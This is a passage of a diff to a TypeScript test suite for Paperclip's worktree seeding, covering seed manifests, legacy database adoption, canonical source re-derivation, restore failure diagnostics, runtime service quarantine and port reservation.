+      )).resolves.toEqual({ seeded: false, reason: "complete_marker" });
+
+      expect(inspectLegacyDatabase).not.toHaveBeenCalled();
+      expect(seedDatabase).not.toHaveBeenCalled();
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("seeds a configured worktree with no seed markers when no legacy database is present", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-empty-"));
+    try {
+      const sourceConfigPath = path.join(tempRoot, "source", "config.json");
+      const targetRoot = path.join(tempRoot, "worktree");
+      const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json");
+      const targetPaths = resolveWorktreeLocalPaths({
+        cwd: targetRoot,
+        homeDir: path.join(tempRoot, "worktree-home"),
+        instanceId: "unmarked-empty-target",
+      });
+      const sourceConfig = buildSourceConfig();
+      const targetConfig = buildWorktreeConfig({
+        sourceConfig,
+        paths: targetPaths,
+        serverPort: 3194,
+        databasePort: 54994,
+      });
+      fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
+      fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
+      fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
+      fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
+      fs.writeFileSync(
+        path.join(targetRoot, ".paperclip", ".env"),
+        `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`,
+      );
+      const inspectLegacyDatabase = vi.fn().mockResolvedValue(null);
+      const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult());
+
+      await expect(ensureWorktreeSeeded(
+        { config: targetConfigPath, fromConfig: sourceConfigPath },
+        { inspectLegacyDatabase, seedDatabase },
+      )).resolves.toMatchObject({ seeded: true, reason: "seeded" });
+
+      expect(inspectLegacyDatabase).toHaveBeenCalledWith(targetConfigPath);
+      expect(seedDatabase).toHaveBeenCalledTimes(1);
+      expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+        state: "verified",
+        phase: "complete",
+        migrationRevision: "0142_test.sql",
+      });
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("adopts a markerless legacy worktree only after validating its database schema", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-legacy-"));
+    try {
+      const sourceConfigPath = path.join(tempRoot, "source", "config.json");
+      const targetRoot = path.join(tempRoot, "worktree");
+      const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json");
+      const targetPaths = resolveWorktreeLocalPaths({
+        cwd: targetRoot,
+        homeDir: path.join(tempRoot, "worktree-home"),
+        instanceId: "unmarked-legacy-target",
+      });
+      const sourceConfig = buildSourceConfig();
+      const targetConfig = buildWorktreeConfig({
+        sourceConfig,
+        paths: targetPaths,
+        serverPort: 3193,
+        databasePort: 54993,
+      });
+      fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
+      fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
+      fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
+      fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
+      fs.writeFileSync(
+        path.join(targetRoot, ".paperclip", ".env"),
+        `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`,
+      );
+      const seedDatabase = vi.fn();
+
+      await expect(ensureWorktreeSeeded(
+        { config: targetConfigPath, fromConfig: sourceConfigPath },
+        {
+          inspectLegacyDatabase: vi.fn().mockResolvedValue({ migrationRevision: "0141_legacy.sql" }),
+          seedDatabase,
+        },
+      )).resolves.toEqual({ seeded: false, reason: "legacy_database" });
+
+      expect(seedDatabase).not.toHaveBeenCalled();
+      expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+        state: "verified",
+        phase: "complete",
+        migrationRevision: "0141_legacy.sql",
+      });
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("managed ensure-seeded derives a valid source from the registered base workspace", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-managed-seed-"));
+    try {
+      const baseRoot = path.join(tempRoot, "base");
+      const sourceConfigPath = path.join(baseRoot, ".paperclip", "config.json");
+      const targetRoot = path.join(tempRoot, "worktree");
+      const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json");
+      const targetPaths = resolveWorktreeLocalPaths({
+        cwd: targetRoot,
+        homeDir: path.join(tempRoot, "worktree-home"),
+        instanceId: "managed-target",
+      });
+      const sourceConfig = buildSourceConfig();
+      const targetConfig = buildWorktreeConfig({
+        sourceConfig,
+        paths: targetPaths,
+        serverPort: 3195,
+        databasePort: 54995,
+      });
+      fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
+      fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
+      fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=managed-source\n");
+      fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
+      fs.writeFileSync(
+        path.join(path.dirname(targetConfigPath), ".env"),
+        `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=managed-target\n`,
+      );
+      markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath });
+      const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult());
+
+      await expect(ensureWorktreeSeeded({
+        config: targetConfigPath,
+        registeredBaseWorkspaceCwd: baseRoot,
+        registeredProjectWorkspaceId: "project-workspace-1",
+        expectedCompanyId: "company-1",
+      }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" });
+
+      expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({
+        sourceConfigPath,
+        expectedCompanyId: "company-1",
+      }));
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it.each(["sibling", "foreign_instance", "symlink", "instance_mismatch"] as const)(
+    "managed ensure-seeded re-derives a stale %s manifest source from registration",
+    async (variant) => {
+      const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), `paperclip-worktree-managed-${variant}-`));
+      try {
+        const baseRoot = path.join(tempRoot, "base");
+        const canonicalSource = path.join(baseRoot, ".paperclip", "config.json");
+        const targetRoot = path.join(tempRoot, "worktree");
+        const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json");
+        const attackerRoot = path.join(tempRoot, variant);
+        const attackerConfig = path.join(attackerRoot, "config.json");
+        fs.mkdirSync(path.dirname(canonicalSource), { recursive: true });
+        fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
+        fs.mkdirSync(attackerRoot, { recursive: true });
+        fs.writeFileSync(canonicalSource, `${JSON.stringify(buildSourceConfig())}\n`);
+        fs.writeFileSync(path.join(path.dirname(canonicalSource), ".env"), "PAPERCLIP_INSTANCE_ID=registered-source\n");
+        fs.writeFileSync(targetConfigPath, `${JSON.stringify(buildSourceConfig())}\n`);
+        fs.writeFileSync(
+          path.join(path.dirname(targetConfigPath), ".env"),
+          `PAPERCLIP_HOME=${path.join(tempRoot, "worktree-home")}\nPAPERCLIP_INSTANCE_ID=managed-target\n`,
+        );
+        fs.writeFileSync(attackerConfig, `${JSON.stringify(buildSourceConfig())}\n`);
+        fs.writeFileSync(
+          path.join(attackerRoot, ".env"),
+          `PAPERCLIP_INSTANCE_ID=${variant === "foreign_instance" ? "foreign" : "registered-source"}\n`,
+        );
+        const diagnosticPath = variant === "instance_mismatch"
+          ? canonicalSource
+          : variant === "symlink"
+          ? path.join(attackerRoot, "source-link.json")
+          : attackerConfig;
+        if (variant === "symlink") fs.symlinkSync(canonicalSource, diagnosticPath);
+        markWorktreeSeedPending({
+          configPath: targetConfigPath,
+          sourceConfigPath: diagnosticPath,
+          targetInstanceId: "managed-target",
+        });
+        if (variant === "instance_mismatch") {
+          const manifest = readWorktreeSeedManifest(targetConfigPath)!;
+          fs.writeFileSync(
+            path.join(path.dirname(targetConfigPath), "seed-manifest.json"),
+            JSON.stringify({ ...manifest, source: { ...manifest.source, instanceId: "foreign" } }),
+          );
+        }
+        const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult());
+
+        await expect(ensureWorktreeSeeded({
+          config: targetConfigPath,
+          registeredBaseWorkspaceCwd: baseRoot,
+          registeredProjectWorkspaceId: "project-workspace-1",
+          expectedCompanyId: "company-1",
+        }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" });
+
+        expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({
+          sourceConfigPath: canonicalSource,
+          expectedCompanyId: "company-1",
+        }));
+        expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+          source: {
+            configPath: canonicalSource,
+            instanceId: "registered-source",
+          },
+          state: "verified",
+          diagnostics: expect.arrayContaining([
+            expect.objectContaining({
+              message: "Re-derived seed source diagnostics from the registered canonical source.",
+            }),
+          ]),
+        });
+        expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false);
+      } finally {
+        fs.rmSync(tempRoot, { recursive: true, force: true });
+      }
+    },
+  );
+
+  it("ensure-seeded records a target shutdown diagnostic when restore fails", async () => {
     const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-failure-"));
     try {
       const sourceConfigPath = path.join(tempRoot, "source", "config.json");
@@ -479,6 +983,7 @@ describe("worktree helpers", () => {
       fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
       fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
       fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
       fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
       fs.writeFileSync(
         path.join(targetRoot, ".paperclip", ".env"),
@@ -488,12 +993,31 @@ describe("worktree helpers", () => {
 
       await expect(
         ensureWorktreeSeeded(
-          { config: targetConfigPath },
-          { seedDatabase: vi.fn().mockRejectedValue(new Error("seed failed")) },
+          { config: targetConfigPath, fromConfig: sourceConfigPath },
+          {
+            seedDatabase: vi.fn(async (input) => {
+              input.onPhase?.("restore", "started");
+              throw new Error(
+                "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE",
+              );
+            }),
+          },
         ),
-      ).rejects.toThrow("seed failed");
+      ).rejects.toThrow("database system is shutting down");
 
-      expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(true);
+      expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+        state: "failed",
+        phase: "restore",
+        diagnostics: expect.arrayContaining([
+          expect.objectContaining({
+            phase: "restore",
+            status: "failed",
+            message:
+              "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.",
+          }),
+        ]),
+      });
+      expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false);
       expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false);
       expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false);
     } finally {
@@ -522,6 +1046,7 @@ describe("worktree helpers", () => {
       fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
       fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
       fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
       fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
       fs.writeFileSync(
         path.join(targetRoot, ".paperclip", ".env"),
@@ -531,28 +1056,17 @@ describe("worktree helpers", () => {
 
       const seedDatabase = vi.fn(async () => {
         await new Promise((resolve) => setTimeout(resolve, 100));
-        return {
-          backupSummary: "snapshot.sql",
-          pausedScheduledRoutines: 0,
-          executionQuarantine: {
-            disabledTimerHeartbeats: 0,
-            resetRunningAgents: 0,
-            quarantinedInProgressIssues: 0,
-            unassignedTodoIssues: 0,
-            unassignedReviewIssues: 0,
-          },
-          reboundWorkspaces: [],
-        };
+        return mockVerifiedSeedResult();
       });
 
       const results = await Promise.all([
-        ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }),
-        ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }),
+        ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }),
+        ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }),
       ]);
 
       expect(results).toEqual(expect.arrayContaining([
         expect.objectContaining({ seeded: true, reason: "seeded" }),
-        { seeded: false, reason: "complete_marker" },
+        { seeded: false, reason: "verified_manifest" },
       ]));
       expect(seedDatabase).toHaveBeenCalledTimes(1);
       expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false);
@@ -561,6 +1075,59 @@ describe("worktree helpers", () => {
     }
   });
 
+  it("records an interrupted phase before retrying to a verified terminal state", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-interrupted-seed-"));
+    try {
+      const sourceConfigPath = path.join(tempRoot, "source", "config.json");
+      const targetRoot = path.join(tempRoot, "worktree");
+      const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json");
+      const targetPaths = resolveWorktreeLocalPaths({
+        cwd: targetRoot,
+        homeDir: path.join(tempRoot, "worktree-home"),
+        instanceId: "interrupted-seed",
+      });
+      const sourceConfig = buildSourceConfig();
+      const targetConfig = buildWorktreeConfig({
+        sourceConfig,
+        paths: targetPaths,
+        serverPort: 3196,
+        databasePort: 54996,
+      });
+      fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
+      fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
+      fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
+      fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
+      fs.writeFileSync(
+        path.join(targetRoot, ".paperclip", ".env"),
+        `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`,
+      );
+      markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath });
+      const interrupted = readWorktreeSeedManifest(targetConfigPath)!;
+      fs.writeFileSync(
+        path.join(targetRoot, ".paperclip", "seed-manifest.json"),
+        `${JSON.stringify({ ...interrupted, state: "running", phase: "restore" }, null, 2)}\n`,
+      );
+
+      await expect(ensureWorktreeSeeded(
+        { config: targetConfigPath, fromConfig: sourceConfigPath },
+        { seedDatabase: vi.fn().mockResolvedValue(mockVerifiedSeedResult()) },
+      )).resolves.toMatchObject({ seeded: true, reason: "seeded" });
+
+      const verified = readWorktreeSeedManifest(targetConfigPath)!;
+      expect(verified.state).toBe("verified");
+      expect(verified.diagnostics).toEqual(expect.arrayContaining([
+        expect.objectContaining({
+          phase: "restore",
+          status: "failed",
+          message: "The previous seed attempt ended without a terminal result.",
+        }),
+      ]));
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
   it("fails closed instead of racing to reclaim a stale seed lock", async () => {
     const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-stale-lock-"));
     try {
@@ -599,6 +1166,10 @@ describe("worktree helpers", () => {
     const todoIssueId = randomUUID();
     const reviewIssueId = randomUUID();
     const userIssueId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    const runtimeServiceId = randomUUID();
 
     try {
       await db.insert(companies).values({
@@ -634,6 +1205,64 @@ describe("worktree helpers", () => {
           permissions: {},
         },
       ]);
+      await db.insert(projects).values({
+        id: projectId,
+        companyId,
+        name: "Runtime quarantine",
+        status: "in_progress",
+      });
+      await db.insert(projectWorkspaces).values({
+        id: projectWorkspaceId,
+        companyId,
+        projectId,
+        name: "Primary workspace",
+        cwd: "/source/project",
+        metadata: {
+          keep: "project-metadata",
+          runtimeConfig: {
+            workspaceRuntime: { services: [{ name: "paperclip-dev" }] },
+            desiredState: "running",
+            serviceStates: { "0": "running", "1": "manual" },
+          },
+        },
+      });
+      await db.insert(executionWorkspaces).values({
+        id: executionWorkspaceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        mode: "isolated_workspace",
+        strategyType: "git_worktree",
+        name: "Copied runtime workspace",
+        cwd: "/source/worktree",
+        providerType: "git_worktree",
+        metadata: {
+          keep: "execution-metadata",
+          config: {
+            environmentId: "environment-1",
+            desiredState: "running",
+            serviceStates: { "0": "running" },
+          },
+        },
+      });
+      await db.insert(workspaceRuntimeServices).values({
+        id: runtimeServiceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        executionWorkspaceId,
+        scopeType: "project_workspace",
+        scopeId: projectWorkspaceId,
+        serviceName: "paperclip-dev",
+        status: "running",
+        lifecycle: "shared",
+        provider: "local_process",
+        providerRef: "12345",
+        ownerAgentId: agentId,
+        port: 42013,
+        url: "https://paperclip-dev.example.test:42013",
+        healthStatus: "healthy",
+      });
       await db.insert(issues).values([
         {
           id: inProgressIssueId,
@@ -685,6 +1314,9 @@ describe("worktree helpers", () => {
         quarantinedInProgressIssues: 1,
         unassignedTodoIssues: 1,
         unassignedReviewIssues: 1,
+        stoppedProjectWorkspaceRuntimes: 1,
+        stoppedExecutionWorkspaceRuntimes: 1,
+        stoppedRuntimeServices: 1,
       });
 
       const [quarantinedAgent] = await db.select().from(agents).where(eq(agents.id, agentId));
@@ -715,6 +1347,47 @@ describe("worktree helpers", () => {
       const comments = await db.select().from(issueComments).where(eq(issueComments.issueId, inProgressIssueId));
       expect(comments).toHaveLength(1);
       expect(comments[0]?.body).toContain("Quarantined during worktree seed");
+
+      const [projectWorkspace] = await db
+        .select()
+        .from(projectWorkspaces)
+        .where(eq(projectWorkspaces.id, projectWorkspaceId));
+      expect(projectWorkspace?.metadata).toEqual({
+        keep: "project-metadata",
+        runtimeConfig: {
+          workspaceRuntime: { services: [{ name: "paperclip-dev" }] },
+          desiredState: "stopped",
+          serviceStates: { "0": "stopped", "1": "manual" },
+        },
+      });
+
+      const [executionWorkspace] = await db
+        .select()
+        .from(executionWorkspaces)
+        .where(eq(executionWorkspaces.id, executionWorkspaceId));
+      expect(executionWorkspace?.metadata).toEqual({
+        keep: "execution-metadata",
+        config: {
+          environmentId: "environment-1",
+          desiredState: "stopped",
+          serviceStates: { "0": "stopped" },
+        },
+      });
+
+      const [runtimeService] = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.id, runtimeServiceId));
+      expect(runtimeService).toMatchObject({
+        status: "stopped",
+        healthStatus: "unknown",
+        providerRef: null,
+        ownerAgentId: null,
+        startedByRunId: null,
+        port: null,
+        url: null,
+      });
+      expect(runtimeService?.stoppedAt).toBeInstanceOf(Date);
     } finally {
       await db.$client?.end?.({ timeout: 5 }).catch(() => undefined);
       await tempDb.cleanup();
@@ -854,7 +1527,94 @@ describe("worktree helpers", () => {
   });
 
   itEmbeddedPostgres(
-    "seeds authenticated users into minimally cloned worktree instances",
+    "seeds a local-trusted implicit board user without a credential account",
+    async () => {
+      const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-local-board-seed-"));
+      const worktreeRoot = path.join(tempRoot, "PAP-17696-local-board-seed");
+      const sourceConfigDir = path.join(tempRoot, "source");
+      const sourceConfigPath = path.join(sourceConfigDir, "config.json");
+      const sourceKeyPath = path.join(sourceConfigDir, "secrets", "master.key");
+      const worktreeHome = path.join(tempRoot, ".paperclip-worktrees");
+      const originalCwd = process.cwd();
+      const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-local-board-source-");
+
+      try {
+        await seedValidWorktreeSource(sourceDb.connectionString, {
+          includeCredentialAccount: false,
+          userId: "local-board",
+        });
+        fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true });
+        fs.mkdirSync(worktreeRoot, { recursive: true });
+
+        const sourceConfig = buildSourceConfig();
+        sourceConfig.database = {
+          ...sourceConfig.database,
+          mode: "postgres",
+          connectionString: sourceDb.connectionString,
+        };
+        sourceConfig.server.deploymentMode = "local_trusted";
+        sourceConfig.server.exposure = "private";
+        sourceConfig.auth.baseUrlMode = "auto";
+        delete sourceConfig.auth.publicBaseUrl;
+        sourceConfig.secrets.localEncrypted.keyFilePath = sourceKeyPath;
+
+        fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig, null, 2)}\n`, "utf8");
+        fs.writeFileSync(sourceKeyPath, "source-master-key", "utf8");
+
+        process.chdir(worktreeRoot);
+        await worktreeInitCommand({
+          name: "PAP-17696-local-board-seed",
+          home: worktreeHome,
+          fromConfig: sourceConfigPath,
+          force: true,
+        });
+
+        const targetConfigPath = path.join(worktreeRoot, ".paperclip", "config.json");
+        const targetConfig = JSON.parse(fs.readFileSync(targetConfigPath, "utf8")) as PaperclipConfig;
+        expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+          state: "verified",
+          phase: "complete",
+        });
+
+        const { default: EmbeddedPostgres } = await import("embedded-postgres");
+        const targetPg = new EmbeddedPostgres({
+          databaseDir: targetConfig.database.embeddedPostgresDataDir,
+          user: "paperclip",
+          password: "paperclip",
+          port: targetConfig.database.embeddedPostgresPort,
+          persistent: true,
+          initdbFlags: ["--encoding=UTF8", "--locale=C", "--lc-messages=C"],
+          onLog: () => {},
+          onError: () => {},
+        });
+
+        await targetPg.start();
+        try {
+          const targetDb = createDb(
+            `postgres://paperclip:paperclip@127.0.0.1:${targetConfig.database.embeddedPostgresPort}/paperclip`,
+          );
+          const [seededLocalBoard] = await targetDb
+            .select({ id: authUsers.id })
+            .from(authUsers)
+            .where(eq(authUsers.id, "local-board"));
+          const seededAccounts = await targetDb.select().from(authAccounts);
+          expect(seededLocalBoard?.id).toBe("local-board");
+          expect(seededAccounts).toHaveLength(0);
+          await targetDb.$client.end({ timeout: 5 });
+        } finally {
+          await targetPg.stop();
+        }
+      } finally {
+        process.chdir(originalCwd);
+        await sourceDb.cleanup();
+        fs.rmSync(tempRoot, { recursive: true, force: true });
+      }
+    },
+    30_000,
+  );
+
+  itEmbeddedPostgres(
+    "seeds a lagging source whose migration application order differs from filename order",
     async () => {
       const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-auth-seed-"));
       const worktreeRoot = path.join(tempRoot, "PAP-999-auth-seed");
@@ -868,15 +1628,57 @@ describe("worktree helpers", () => {
       const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-auth-source-");
 
       try {
+        await seedValidWorktreeSource(sourceDb.connectionString);
         const sourceDbClient = createDb(sourceDb.connectionString);
-        await sourceDbClient.insert(authUsers).values({
-          id: "user-existing",
-          email: "existing@paperclip.ing",
-          name: "Existing User",
-          emailVerified: true,
-          createdAt: new Date(),
-          updatedAt: new Date(),
-        });
+        await sourceDbClient.$client.unsafe(`
+          DELETE FROM "drizzle"."__drizzle_migrations"
+          WHERE "id" = (
+            SELECT max("id") FROM "drizzle"."__drizzle_migrations"
+          );
+
+          WITH pair AS (
+            SELECT
+              array_agg("id" ORDER BY "id" DESC) AS ids,
+              array_agg("hash" ORDER BY "id" DESC) AS hashes
+            FROM (
+              SELECT "id", "hash"
+              FROM "drizzle"."__drizzle_migrations"
+              ORDER BY "id" DESC
+              LIMIT 2
+            ) latest
+          )
+          UPDATE "drizzle"."__drizzle_migrations" migrations
+          SET "hash" = CASE
+            WHEN migrations."id" = pair.ids[1] THEN pair.hashes[2]
+            WHEN migrations."id" = pair.ids[2] THEN pair.hashes[1]
+            ELSE migrations."hash"
+          END
+          FROM pair
+          WHERE migrations."id" IN (pair.ids[1], pair.ids[2]);
+
+          INSERT INTO "drizzle"."__drizzle_migrations" ("hash", "created_at")
+          VALUES ('stale-unresolvable-migration-hash', 0)
+        `);
+        await sourceDbClient.$client.end({ timeout: 5 });
+        const laggingMigrationState = await inspectMigrations(sourceDb.connectionString);
+        expect(laggingMigrationState.status).toBe("needsMigrations");
+        if (laggingMigrationState.status !== "needsMigrations") {
+          throw new Error("Expected the source migration journal to lag the code journal");
+        }
+        expect(laggingMigrationState.pendingMigrations).toHaveLength(1);
+        const expectedAppliedPrefix = laggingMigrationState.availableMigrations.slice(
+          0,
+          laggingMigrationState.appliedMigrations.length,
+        );
+        expect(laggingMigrationState.appliedMigrations).not.toEqual(expectedAppliedPrefix);
+        expect([...laggingMigrationState.appliedMigrations].sort()).toEqual(
+          [...expectedAppliedPrefix].sort(),
+        );
+        expect(laggingMigrationState.journalEntryCount).toBeGreaterThan(
+          laggingMigrationState.appliedMigrations.length,
+        );
+        const sourceMigrationRevision = expectedAppliedPrefix.at(-1);
+        expect(sourceMigrationRevision).toBeTruthy();
 
         fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true });
         fs.mkdirSync(worktreeRoot, { recursive: true });
@@ -913,6 +1715,19 @@ describe("worktree helpers", () => {
         const targetConfig = JSON.parse(
           fs.readFileSync(path.join(worktreeRoot, ".paperclip", "config.json"), "utf8"),
         ) as PaperclipConfig;
+        const manifestText = fs.readFileSync(
+          path.join(worktreeRoot, ".paperclip", "seed-manifest.json"),
+          "utf8",
+        );
+        expect(JSON.parse(manifestText)).toMatchObject({
+          version: 2,
+          seedMode: "minimal",
+          state: "verified",
+          phase: "complete",
+        });
+        expect(manifestText).toContain(`Validated migration ${sourceMigrationRevision}`);
+        expect(manifestText).not.toContain("fixture-password-hash");
+        expect(manifestText).not.toContain("source-master-key");
         const { default: EmbeddedPostgres } = await import("embedded-postgres");
         const targetPg = new EmbeddedPostgres({
           databaseDir: targetConfig.database.embeddedPostgresDataDir,
@@ -1025,6 +1840,61 @@ describe("worktree helpers", () => {
     }
   });
 
+  it("reserves distinct ports for postgres-mode siblings under a custom worktree parent", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-custom-parent-"));
+    const homeDir = path.join(tempRoot, ".paperclip-worktrees");
+    const customParentDir = path.join(tempRoot, "custom", "workspace-lanes");
+    const firstWorktreeRoot = path.join(customParentDir, "lane-one");
+    const secondWorktreeRoot = path.join(customParentDir, "lane-two");
+    const missingSourceConfig = path.join(tempRoot, "missing", "config.json");
+    const firstConfigPath = path.join(firstWorktreeRoot, ".paperclip", "config.json");
+    const secondConfigPath = path.join(secondWorktreeRoot, ".paperclip", "config.json");
+    const originalCwd = process.cwd();
+
+    try {
+      fs.mkdirSync(firstWorktreeRoot, { recursive: true });
+      fs.mkdirSync(secondWorktreeRoot, { recursive: true });
+
+      process.chdir(firstWorktreeRoot);
+      await worktreeInitCommand({
+        name: "lane-one",
+        seed: false,
+        fromConfig: missingSourceConfig,
+        home: homeDir,
+      });
+
+      const firstConfig = JSON.parse(fs.readFileSync(firstConfigPath, "utf8"));
+      firstConfig.database = {
+        ...firstConfig.database,
+        mode: "postgres",
+        connectionString: "postgres://paperclip:paperclip@127.0.0.1:54330/paperclip",
+      };
+      fs.writeFileSync(firstConfigPath, `${JSON.stringify(firstConfig, null, 2)}\n`, "utf8");
+
+      process.chdir(secondWorktreeRoot);
+      await worktreeInitCommand({
+        name: "lane-two",
+        seed: false,
+        fromConfig: missingSourceConfig,
+        home: homeDir,
+      });
+
+      const secondConfig = JSON.parse(fs.readFileSync(secondConfigPath, "utf8"));
+      const registry = JSON.parse(
+        fs.readFileSync(path.join(homeDir, "worktree-port-reservations.json"), "utf8"),
+      );
+
+      expect(secondConfig.server.port).not.toBe(firstConfig.server.port);
+      expect(secondConfig.database.embeddedPostgresPort).not.toBe(
+        firstConfig.database.embeddedPostgresPort,
+      );
+      expect(registry.configPaths).toEqual([firstConfigPath, secondConfigPath].sort());
+    } finally {
+      process.chdir(originalCwd);
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
   it("defaults the seed source config to the current repo-local Paperclip config", () => {
     const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-source-config-"));
     const repoRoot = path.join(tempRoot, "repo");
@@ -1169,9 +2039,8 @@ describe("worktree helpers", () => {
     const originalCwd = process.cwd();
     const originalPaperclipConfig = process.env.PAPERCLIP_CONFIG;
     const currentDatabaseReservation = await reserveTestPort();
-    const sourceDatabaseReservation = await reserveTestPort();
     const currentDatabasePort = currentDatabaseReservation.port;
-    const sourceDatabasePort = sourceDatabaseReservation.port;
+    const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-reseed-source-");
 
     try {
       fs.mkdirSync(path.dirname(currentPaths.configPath), { recursive: true });
@@ -1186,15 +2055,28 @@ describe("worktree helpers", () => {
         serverPort: 3114,
         databasePort: currentDatabasePort,
       });
-      const sourceConfig = buildWorktreeConfig({
-        sourceConfig: buildSourceConfig(),
-        paths: sourcePaths,
-        serverPort: 3200,
-        databasePort: sourceDatabasePort,
-      });
